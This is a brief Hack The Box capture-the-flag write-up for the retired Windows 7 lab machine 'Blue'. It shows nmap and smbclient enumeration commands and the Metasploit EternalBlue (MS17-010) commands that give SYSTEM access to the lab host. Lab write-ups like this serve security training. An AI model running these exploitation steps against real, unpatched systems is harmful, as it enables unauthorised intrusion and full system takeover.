Hack The Box · Windows Machine
Blue
| Name | Blue |
|---|---|
| Release date | 28 Jul 2017 |
| Retire date | 13 Jan 2018 |
| OS | Windows |
| Difficulty | Easy - Retired [0] |
| Rated difficulty |  |
| Radar graph |  |
| Creator | ch4p |
| CherryTree file | Download and remove the .txt extension |
SMB enumeration
Nmap identified Windows 7 Professional SP1 with SMB exposed on TCP 445. The OS version, SMBv1-era service, and machine name pointed directly toward MS17-010.
nmap -sC -sV -oA ./blue 10.10.10.40
smbclient -L //10.10.10.40The system exposed the standard administrative shares plus Share and Users.
EternalBlue
The Metasploit EternalBlue module successfully exploited the vulnerable SMB service.
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.10.40
run
The exploit returned a SYSTEM-level session, providing immediate access to both flags.
